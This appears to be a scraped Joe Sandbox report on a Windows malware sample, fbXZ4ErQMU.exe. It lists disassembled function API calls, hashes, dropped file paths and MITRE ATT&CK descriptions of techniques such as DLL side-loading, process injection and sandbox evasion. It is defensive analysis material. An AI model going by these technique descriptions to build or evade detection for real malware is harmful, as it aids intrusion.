API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 9af3a59599e8879c459ffb9579ce68eec3d4baecce8abe749bc9c6a9b619fe8d
Instruction ID: 7056b910bbb205cd539ea3acc8ab51e06e0639846daa80cdaddfd33d10a348e5
Opcode Fuzzy Hash: 9af3a59599e8879c459ffb9579ce68eec3d4baecce8abe749bc9c6a9b619fe8d
Instruction Fuzzy Hash: 47017171200609ABEF20AF11DD80A5B3666EB84354F14413AFB107A1D1C77A8C62DE6E

Function 00403875 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,75A53410,00000000,C:\Users\user\AppData\Local\Temp\,0040384D,00403667,?,?,00000007,00000009,0000000B), ref: 0040388F
GlobalFree.KERNEL32(0072BA18), ref: 00403896

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403875

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-3355392842
Opcode ID: 7191d99a6f9acf46369f1b571abb68d71f554d24c115b495d4645827db6beddd
Instruction ID: eaa0fdc8f68cdeff62b7926931e70464fa678e679eb7ff43971a821d65c68845
Opcode Fuzzy Hash: 7191d99a6f9acf46369f1b571abb68d71f554d24c115b495d4645827db6beddd
Instruction Fuzzy Hash: 20E08C335110205BC7613F54EA0471A77ECAF59B62F4A017EF8847B26087781C464A88

Function 00405AD6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(80000000,C:\Users\user\Desktop,00402F0D,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\fbXZ4ErQMU.exe,C:\Users\user\Desktop\fbXZ4ErQMU.exe,80000000,00000003), ref: 00405ADC
CharPrevA.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402F0D,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\fbXZ4ErQMU.exe,C:\Users\user\Desktop\fbXZ4ErQMU.exe,80000000,00000003), ref: 00405AEA

Strings

C:\Users\user\Desktop, xrefs: 00405AD6

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-3370423016
Opcode ID: 7cfe4fb9fb084f73e38b743788eacbc948a8cb50b3ca3a16f7beb83d38b7a1d7
Instruction ID: fbea36dfa466fa1ea2516b65251d52c814037185d06ce8b70eff5ee1363e4df1
Opcode Fuzzy Hash: 7cfe4fb9fb084f73e38b743788eacbc948a8cb50b3ca3a16f7beb83d38b7a1d7
Instruction Fuzzy Hash: 73D0A7B25089706EFB0352509C00B8F6E88CF17300F0A04A3E080A7191C7B84C424BFD

Function 700510E0 Relevance: 5.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 7005115B
GlobalFree.KERNEL32(00000000), ref: 700511B4
GlobalFree.KERNEL32(?), ref: 700511C7
GlobalFree.KERNEL32(?), ref: 700511F5

Memory Dump Source

Source File: 00000000.00000002.53321356153.0000000070051000.00000020.00000001.01000000.00000005.sdmp, Offset: 70050000, based on PE: true

Associated: 00000000.00000002.53321293003.0000000070050000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.53321420725.0000000070053000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.53321477933.0000000070055000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70050000_fbXZ4ErQMU.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 185198dd8ffaa35b99c79ebbd8d01d8fc4f88fbfdb64dc6cb342dc2d5f4d4016
Instruction ID: 1347f2d73197b68438a8ebac6333d9f31fa971365c8e14ec2f73ecfcaeecb8fa
Opcode Fuzzy Hash: 185198dd8ffaa35b99c79ebbd8d01d8fc4f88fbfdb64dc6cb342dc2d5f4d4016
Instruction Fuzzy Hash: 1A31D0B2404600AFEB018F66DD49FEE7FF9EB05A74B340459FA46C23A0D7749818CB24

Function 00405BF5 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405E50,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405C05
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405C1D
CharNextA.USER32(00000000,?,00000000,00405E50,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405C2E
lstrlenA.KERNEL32(00000000,?,00000000,00405E50,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405C37

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: b2794e6bf21c90d62e2ecb38362cfad12420dfe545fda3f665c5114a80d4c16b
Instruction ID: 0c44f0240925c5b75b39479a83fd13515cb2c3d3321eb5bdfbc953cb3faf5d46
Opcode Fuzzy Hash: b2794e6bf21c90d62e2ecb38362cfad12420dfe545fda3f665c5114a80d4c16b
Instruction Fuzzy Hash: FBF0F631105A18FFDB12DFA4CD00D9EBBA8EF55350B2540B9E840F7210D634DE01AFA8

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report fbXZ4ErQMU.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\nsjE6EA.tmp\System.dll

C:\Users\user\tranchet\Inured.Sti

C:\Users\user\tranchet\Poddle.Awa

C:\Users\user\tranchet\computerskrmen.dem

C:\Users\user\tranchet\predictors.dut

C:\Users\user\tranchet\receptionssekretrer.bin

C:\Users\user\tranchet\serenissimi.txt

C:\Windows\Arder.lnk

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Windows Analysis Report
fbXZ4ErQMU.exe

Function 00403348 Relevance: 89.6, APIs: 32, Strings: 19, Instructions: 366
stringcomfileCOMMON

Function 004058BF Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 159
filestringCOMMON

Function 0040390A Relevance: 45.7, APIs: 13, Strings: 13, Instructions: 215
stringregistryCOMMON

Function 00402EA1 Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 181
memoryCOMMON

Function 0040618A Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 199
stringCOMMON

Function 00401759 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 147
stringtimeCOMMON

Function 004030D8 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 166
COMMON

Function 00401E35 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43
COMMON

Function 004056E4 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39
COMMON

Function 00406492 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Function 00405CBF Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33
COMMON

Function 00402CD0 Relevance: 7.6, APIs: 5, Instructions: 84
registryCOMMON

Function 700516DB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Function 00401C2E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84
windowtimeCOMMON

Function 00402476 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON